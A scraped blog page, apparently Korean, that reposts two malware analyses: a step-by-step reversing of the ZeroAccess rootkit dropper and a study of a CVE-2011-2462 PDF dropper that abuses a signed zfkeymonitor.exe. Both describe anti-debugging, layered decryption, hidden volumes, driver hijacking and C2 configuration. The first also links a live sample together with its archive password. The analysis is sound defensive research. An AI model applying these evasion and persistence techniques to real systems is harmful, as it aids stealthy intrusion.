Step-by-Step Reverse Engineering Malware: ZeroAccess / Max++ / Smiscer Crimeware Rootkit (2) | 2012.02.09 |
해외 악성파일 (0) | 2012.02.03 |
Acad.vlx 바이러스 정리 (0) | 2012.01.27 |
(quick plug – to all current & future reverse engineers – check out our Reverse Engineering Training Course.We’d love to publish your work next!)
Part 1: Introduction and De-Obfuscating and Reversing the User-Mode Agent Dropper
Part 2: Reverse Engineering the Kernel-Mode Device Driver Stealth Rootkit
Part 3: Reverse Engineering the Kernel-Mode Device Driver Process Injection Rootkit
Part 4: Tracing the Crimeware Origins by Reversing the Injected Code
This four part article series is a complete step-by-step tutorial on how to reverse engineer the ZeroAccess Rootkit. ZeroAcess is also known as the Smiscer or Max++ rootkit. You can either read along to gain an in-depth understand the thought process behind reverse engineering modern malware of this sophistication. The author prefers that you download the various tools mentioned within and reverse the rookit yourself as you read the article. If you would like to use the malware sample used in these articles, download it here: Max++ Malware. Note that this archive is password protected and the password is infected
InfoSec Institute would classify ZeroAccess as a sophisticated, advanced rootkit. It has 4 main components that we will reverse in great detail in this series of articles. ZeroAccess is a compartmentalized crimeware rootkit that serves as a platform for installing various malicious programs onto victim computers. It also supports features to make itself and the installed malicious programs impossible for power-users to remove and very difficult security experts to forensically analyze.
At the conclusion of the analysis, we will trace the criminal origins of the ZeroAccess rootkit. We will discover that the purpose of this rootkit is to set up a stealthy, undetectable and un-removable platform to deliver malicious software to victim computers. We will also see that ZeroAccess is being currently used to deliver FakeAntivirus crimeware applications that trick users into paying $70 to remove the “antivirus”. It could be used to deliver any malicious application, such as one that steals bank and credit card information in the future. Further analysis and network forensics supports that ZeroAccess is being hosted and originates from the Ecatel Network, which is controlled by the cybercrime syndicate RBN (Russian Business Network).
Symantec reports that 250,000+ computers have been infected with this rootkit. If 100% of users pay the $70 removal fee, it would net a total of $17,500,000. As it is not likely that 100% of users will pay the fee, assuming that perhaps 30% will, resulting $5,250,000 in revenue for the RBN cybercrime syndicate.
It has the following capabilities:
In this tutorial, our analysis will follow the natural execution flow for a new infection. This will result in a detailed chronology of the infection methodology and “workflow” that the rootkit uses to infect hosts. This conceptual workflow is repeated in many other advanced rootkit that have been analyzed, so it behooves you to understand this process and therefore be able to apply it to new malware reversing situations.
Usually, when a rootkit infects a host, the workflow is structured as follows:
Our analysis of ZeroAccess is split into a series of articles:
Part 1: Introduction and De-Obfuscating and Reversing the User-Mode Agent Dropper
Part 2: Reverse Engineering the Kernel-Mode Device Driver Stealth Rootkit
Part 3: Reverse Engineering the Kernel-Mode Device Driver Process Injection Rootkit
Part 4: Tracing the Crimeware Origins of ZeroAccess Rootkit by Reversing the Injected Code
Our analysis starts from analyzing the User-mode Agent and finishes at Kernel-mode where the rootkit drops two malicious device drivers.
Step-by-step Analysis
The ZeroAccess rootkit comes in the form of a malicious executable that delivered via infected Drive by Download Approach. Drive-by download means three things, each concerning the unintended download of computer software from the Internet:
Drive-by downloads may happen when visiting a website, viewing an e-mail message or by clicking on a deceptive pop-up window by clicking on the window in the mistaken belief that, for instance, an error report from the computer itself is being acknowledged, or that an innocuous advertisement pop-up is being dismissed. In such cases, the “supplier” may claim that the person “consented” to the download although actually unaware of having started an unwanted or malicious software download. Websites that exploit the Windows Metafile vulnerability may provide examples of drive-by downloads of this sort.
ZeroAccess has some powerful rootkit capabilities, such as:
Part 1: Reverse Engineering the User-Mode Agent/Dropper
The rootkit is obfuscated via a custom packed executable typically called ‘Max++ downloader install_2010.exe’. The hashes for this file are:
MD5: d8f6566c5f9caa795204a40b3aaaafa2
SHA1: d0b7cd496387883b265d649e811641f743502c41
SHA256: d22425d964751152471cca7e8166cc9e03c1a4a2e8846f18b665bb3d350873db
Basic analysis of this executable shows the following PE sections and imports:
Sections: .text .rdata .rsrc
Imports: COMCTL32.dll
The Import Table is left in a very poor condition for analysis. Typically this means that additional and necessary functions will be imported at Run Time. Let’s now check the Entry Point Code:
The start code is pretty standard, except for an interesting particular, as you can see at 00413BD5 we have an int 2Dh instruction.
The interrupt 2Dh instruction is mechanism used by Windows Kernel mode debugging support to access the debugging interface. When int 2Dh is called, system creates an EXCEPTION_RECORD structure with an exception code of STATUS_BREAKPOINT as well as other specific informations. This exeception is processed by calling KiDebugRoutine.
Int 2Dh is used by ntoskrnl.exe to interact with DebugServices but we can use it also in user-mode. If we try to use it in normal (not a debugged) application, we will get exception. However if we will attach debugger, there will be no exception.
(You can read more about this at the OpenRCE reference libraryhttp://www.openrce.org/reference_library/anti_reversing_view/34/INT%202D%20Debugger%20Detection/)
When int 2Dh is called we get our first taste of ZeroAccess anti-reversing and code obsfuction functionality. The system will skip one byte after the interrupt, leading to opcode scission. The actual instructions executed will differ from the apparent instructions that will be displayed in a dissasembler or debugger.
To continue further we need a mechanism to correctly handle int 2Dh call and mantain the jump-one-byte feature, and allow us to follow the opcode-splitted code. To do so, we are going to use StrongOD Olly plugin which can be downloaded here: http://reversengineering.wordpress.com/2010/07/26/strongod-0-3-4-639/
With StrongOD installed, after tracing over int 2Dh we are presenting with the following instructions:
The most interesting instruction for us here is the Call 00413bb4. Immediately after this instruction we have garbage code. Let’s enter into this call, and you are now presented with the following code block:
Again, we see int 2Dh, which will lead us one byte after the RETN instruction. The next piece of code will decrypt the adjacent routine, after tracing further, finally we land here:
This call will decrypt another block of code, at after that call execution jump here:
FS:[18] corresponds to TEB (Thread Environment Block) address, from TEB is obtained PEB (Process Environment Block) which is located at TEB Address + 30h.
PEB+0C corresponds to PPEB_LDR_DATA LdrData.
If you are using WinDBG, you can use this quick hint to uncover the link between structure -> offset ->involved member by issuing the following command:
0:004> dt nt!_PEB_LDR_DATA
ntdll!_PEB_LDR_DATA
+0×000 Length : Uint4B
+0×004 Initialized : UChar
+0×008 SsHandle : Ptr32 Void
+0x00c InLoadOrderModuleList : _LIST_ENTRY
+0×014 InMemoryOrderModuleList : _LIST_ENTRY
+0x01c InInitializationOrderModuleList : _LIST_ENTRY
+0×024 EntryInProgress : Ptr32 Void
+0×028 ShutdownInProgress : UChar
+0x02c ShutdownThreadId : Ptr32 Void
As you can see, the malicious code refers to _PEB_LDR_DATA + 1Ch, by checking the output of WinDbg you can see that ECX now points to InInitializationOrderModuleList. The code that follows is responsible for locating Import Function addresses and then from this information building an ImportTable on the fly dynamically. Next there is a complex sequence of nested calls that have the principal aim of decrypting, layer by layer, the core routines of ZeroAccess. We will not describe the analysis of this piece of multi-layer code; it is left as an exercise for the reader. This section of code is quite long, repetitive, and frankly boring, and not relevant from a functionality point of view.
Imported Function addresses are successively protected and will be decrypted on fly only when they are called. Let’s take a look at how an API call actually looks:
Call 00401172 decrypts and return the API’s address in EAX. In the above code snippet, the API called is VirtualAlloc. Allocated memory will be used in future execution paths to decrypt a number of different blocks of instructions. These blocks will eventually constitute an executable dropped by the original infection agent.
Main executable ( the infection vector we are also referring to as the Agent) builds and drops various files into victim’s hard disk and as well as in memory. Whether on disk or in memory, the pattern used is always the same:
Next, let’s try to determine what is being decrypted in these blocks. We place a breakpoint at 0040162B, which is immediately after Next Block jump. The end of the Next Block corresponds to the end of decryption process, we will see in allocated memory the familiar ‘MZ’ signature, letting us know the executable is ready to be used. Before proceding we recommending dumping onto the the hard drive the full executable using the Backup functionality of Ollydbg.
The next block of code is protected with a VEH ( Vectored Exception Handler ) by using RtlAddVectoredExceptionHandler and RtlRemoveVectoredExceptionHandler. Inside this block we have a truly important piece of code. This block is loaded via the undocumented native API call, LdrLoadDll. A system DLL is called, lz32.dll, as well as the creation of a Section Object.
A Section Object represents a section of memory that can be shared. A process can use a section object to share parts of its memory address space (memory sections) with other processes. Section objects also provide the mechanism by which a process can map a file into its memory address space.
Take a look at the red rectangle, calling the value 003C24FB stored in EAX. As you can see this belongs to the previously loaded lz32.dll. Because of this call, execution flow jumps inside the lz32.dll, and which contains malicious code decrypted by the rootkit agent.
This is what the code of lz32.dll program looks like:
If we trace into the Call 003C23DB, we have a long routine that completes infection, and more precisely we have the kernel mode component installation phase. We will see a series of creative routines specifically written to elude classic Antivirus checks, such as the usage of Section Objects and Views placed into System Files.
Now, let’s take a look at the core routine of the Agent, which we will analyze piece by piece:
During the analysis of complex pieces of malware it’s a good practice to leave open the HandleView and ModuleView panes within OllyDbg. This will help you keep track of what is loaded/unloaded and what files/objects/threads/etc. are opened. Let’s see what happens in Call 003C1C2C at address 003C2461.
At first, we see the enumeration of Drivers placed into \system32\drivers, and next we have the following piece of code:
We have an interesting algorithm here, after driver enumeration a random number is generated, next fitted within a range of [0 - 0xFF] and used to randomly select from the driver list a file to be infected. Finally the string formatted as:
\._driver_name_
Now let’s watch what is going on in HandleView:
As you can see a Section Object is created according to the randomly selected driver file, and next will be opened as View inside this Section.
The access values for this section are set to 0xF001F. Let’s first talk about why this is important. During a malware analysis session, much like a forensic investigation, is fundamental to know what the access potential the various components have, so we can direct our investigation down the right path. This can be determined by checking the access rights assigned to various handles.
Let’s lookup what the access right of 0xF001F corresponds by looking in winnt.h:
#define SECTION_ALL_ACCESS 0xf001f
SECTION_ALL_ACCESS means the handle has the ability to Read, Write, Query and Execute. This is the optimal environment to place a malicious portion of code. Now, lets analyze further:
This block of code takes the driver previously selected and now registers it into:
\registry\MACHINE\SYSTEM\CurrentControlSet\services\
The \services entry under CurrentControlSet contains parameters for the device drivers, file system drivers, and Win32 service drivers. For each Service, there is a subkey with the name of the service itself. Our registry entry will be named \._driver_name_
Start Type has 0×3 value that means -> Load on Demand
Type: 0×1 -> Kernel Device Driver
Image Path -> \*
The same driver is always opened. Next, its handle used to send, via ZwFsControlCode, a FSCTL (File System Control Code). Taking a look at the API parameters at run time reveals that the FSCTL code is 9C040. This code corresponds to FSCTL_SET_COMPRESSION. It sets the compression state of a file or directory on a volume whose file system supports per-file and per-directory compression.
Next, a new executable will be built with the aforementioned decryption scheme and then loaded via ZwLoadDriver. This process will result in two device drivers:
Once the driver infection is complete we land in an interesting piece of code:
Here, we see the loading of fmifs.dll. This DLL is the Format Manager for Installable File Systems, and it offers a set of functions for FileSystem Management.
In this case the exported function is FormatEx. A bit of documentation on FormatEx follows:
VOID
STDCALL
FormatEx(
PWCHAR DriveRoot,
DWORD MediaFlag,
PWCHAR Format,
PWCHAR Label,
BOOL QuickFormat,
DWORD ClusterSize,
PFMIFSCALLBACK Callback
);
This function, as the name suggests is used to Format Volumes. In our case the DriverRoot is \\?\C2CAD972#4079#4fd3#A68D#AD34CC121074 and Format is NTFS. This is a remarkable feature unique to this rootkit. This call creates a hidden volume, and the volume will contain the driver and DLLs dropped by the ZeroAccess Agent. These files remain totally invisible to the victim (something we teach in our ethical hackingcourse).
The next step the Agent takes is to build, with the same decryption routine previously described, the remaining malicious executables that will be stored into the newly created hidden volume. These two files are:
Both located into the hidden volume, \\?\C2CAD972#4079#4fd3#A68D#AD34CC121074\L\. We now we have a good knowledge of what user-mode side of ZeroAccess does, we can focus our attention to Kernel Mode side, by reversing the two drivers and dropped DLL.
Let’s continue to follow the workflow of the rootkit. If you are reversing along with us, analysis will logically follow the order of binaries dropped by the Agent. Our first driver to reverse will be the randomly named one, which will be in Part 2 of this tutorial.
파일 시그니처 모음 (Common File Signatures) (0) | 2012.04.05 |
---|---|
js 언팩킹 풀어보기!~ (0) | 2012.02.09 |
해외 악성파일 (0) | 2012.02.03 |
Acad.vlx 바이러스 정리 (0) | 2012.01.27 |
scvhost 파일의 정보 (0) | 2011.12.30 |
Thanks to Binjo for the translation help and Nick Bloor for assisting with testing and analyzing zfkeymonitor.exe.
A couple weeks back I did a write-up on one of the CVE-2011-2462 files that used AESV3 and dropped zfkeymonitor.exe (3765ea5a84df0240f550648a512205fd) along with svchost.exe (5d8d3373f1ded2ee3c0edf9e4dbf117a) and a couple DLLs. At the time it was unclear what role, if any, zfkeymonitor played in the exploit, but more importantly, it was unclear what this exe was or where it came from.
Below is a detailed technical analysis of the files dropped on the system, how they work together and a bit about the malware itself. In between the analysis will be some information on zfkeymonitor and a bit of background behind the file and its true use.
After executing the PDF file, svchost.exe is dropped on the system and executed. If we disassemble and view the imports and strings a couple details stick out. Specifically the use of WinRar in the executable and the call made to ShellExecuteExW.
Debugging the EXE reveals that WinRar is packed within the binary and used to extract an archive to "C:\Program Files\Common Files\release". This archive contains data that will eventually be used by several other DLLs and processes.
Within ShellExecute, a new thread is spawned and a malicious rundll32.exe is ran as a child process. Before diving into this malware, it is important to quickly go over the contents of the “release” folder. Located within this directory are several DAT, and DLL files with the addition of a single INI file.DAT files are typically application specific and if we open these up an any editor the contents reveal nothing to us. The INI file however uses base64 encoding to mask some of the parameters. Decoding these values reveals the command and control IP address observed when infecting the virtual machine.
This INI file is later loaded from a hidden DLL, but even without knowing this, replacing the C2 IP address with our own testing server reveals that this file dictates the primary C2 node.
Having the malware connect back to our lab machines also reveals what would have been sent to the attacker. This information includes the computer name, processor information, RAM and a few other details.
Keeping the DAT files in mind, but moving on, we can begin to debug rundll32.dll . Out of all the routines within the DLL, a few standout given their reading of the DAT files and mentioning of yet another EXE file to be executed (this time with WinExec). Identifying the use of the DAT files is important, but IDA doesn’t show which DAT file is being called upon in each of the routines.
If we load the DLL into Immunity Debugger and call the “Execute” function then we can traverse through the code until we get to the proper subroutine. From the stack it is easy to see that “zblock” files are being loaded first using CreateFileA with generic read access and read into a buffer using fopen.
When stepping through the code in the debugger it is obvious that each loaded file is being ran through an XOR routine with the key of 0x05. Each zblock#.dat file is read into memory, XORed and then put all together. Once these files are put together, WriteFile is called and “zfkeymonitor.exe” is created before being executed.
To validate this, a simple script was used to manually XOR the DAT files using the 0x05 key. It is worth noting that zfkeymonitor.exe is a signed executable whos author appears to be Shandong Zhongfu Information Industry Inc.
zfkeymonitor.exe is called with no arguments and loads zfulib.dll (874416bb1e8327b59b58c790d7888f9c) into memory. Before stepping onto the next DLL, it is worth spending some time on zfkeymonitor as little search results turn up on the EXE itself. Within the digital certificate we can see who signed the executable, but it is unclear whether or not this file is malicious.
Several Chinese websites turn up little documentation on the file, but do reveal some interesting details. A doc file downloaded from sjdw.gov.cn isn’t much of a help until we load it into Google Docs. Doing so accurately interprets the character set which we can then copy and paste into Google Translator to get a general idea of what’s going on.
This document identifies that zfkeymonitor is used to manage and handle digital certificates. In order to procure drug products in the Shandong Province, one must request a certificate in order to authenticate with the access portal. zfkeymonitor helps facilitate this process and appears to have a legitimate use.
Further digging reveals a site in which you can actually download the program yourself and run it. Running the binary reveals an application that doesn't do much of anything, but does prove that the zfkeymonitor dropped by the malware may be something worth looking into more. After running several tests it was observed that the version downloaded from the Chinese websites appeared to be of build 1.x whereas our dropped file was up to version 3.x.Also, the file downloaded included CertReg.exe and was not signed like the one dropped by the malware. Loading both into IDA did not reveal anything suspicious, but our file also shipped with its own zfulib.dll.
Upon further inspection, the dropped zfulib DLL performed the same XOR operation on the set of iblock#.dat files therefore mapping yet another DLL into memory. Running the XOR script against the iblock.dat files provides the same DLL that we could then load into IDA. This DLL was very small and appeared to function as a loader and persistence mechanism for the final malware to be executed.
It should be noted that executing the zfkeymonitor.exe binaries in several scenarios eventually revealed that the dropped zfkeymonitor would run properly even with the older versions DLL. However, when using the older version of the DLL, DAT files were not read by the process and remained ignored.
It appears that zfkeymonitor was used in this attack not for its digital certificate functionality, but instead because of its signed status. Having a signed executable means you have more privileges and access to run on the system. The DLL pulled in by the signed process allowed the malware to bypass certain UAC controls put in place by later releases of Windows. The following link reveals more information about this abuse.
After understanding the order of execution, the last and final set of DAT files were decrypted by rundll32.dll using the same 0x05 key revealing the main malware. This file was another DLL that handled the outbound connections, command interface and cleanup of some of the dropped files that were written to the system.
After walking through several of the subroutines that branch from the main switching cases, the following functionality appears to be present.
When transmitting back to the C2, it appears that the malware writes to HostID.dat as a temporary location to store the data and then deletes the file.
At present, the only vendor to mention or even try to associate this dropper to a class of malware is Microsoft. Unfortunately, they classify this entire threat as "zfkeymonitor" which does not appear accurate.
Summary
Dropped files on the system:
DAT files are XOR encoded using 0x05 as the key and decode to reveal the following:
Command and Control
js 언팩킹 풀어보기!~ (0) | 2012.02.09 |
---|---|
Step-by-Step Reverse Engineering Malware: ZeroAccess / Max++ / Smiscer Crimeware Rootkit (2) | 2012.02.09 |
Acad.vlx 바이러스 정리 (0) | 2012.01.27 |
scvhost 파일의 정보 (0) | 2011.12.30 |
해외 ddos bot 업데이트 (0) | 2011.12.15 |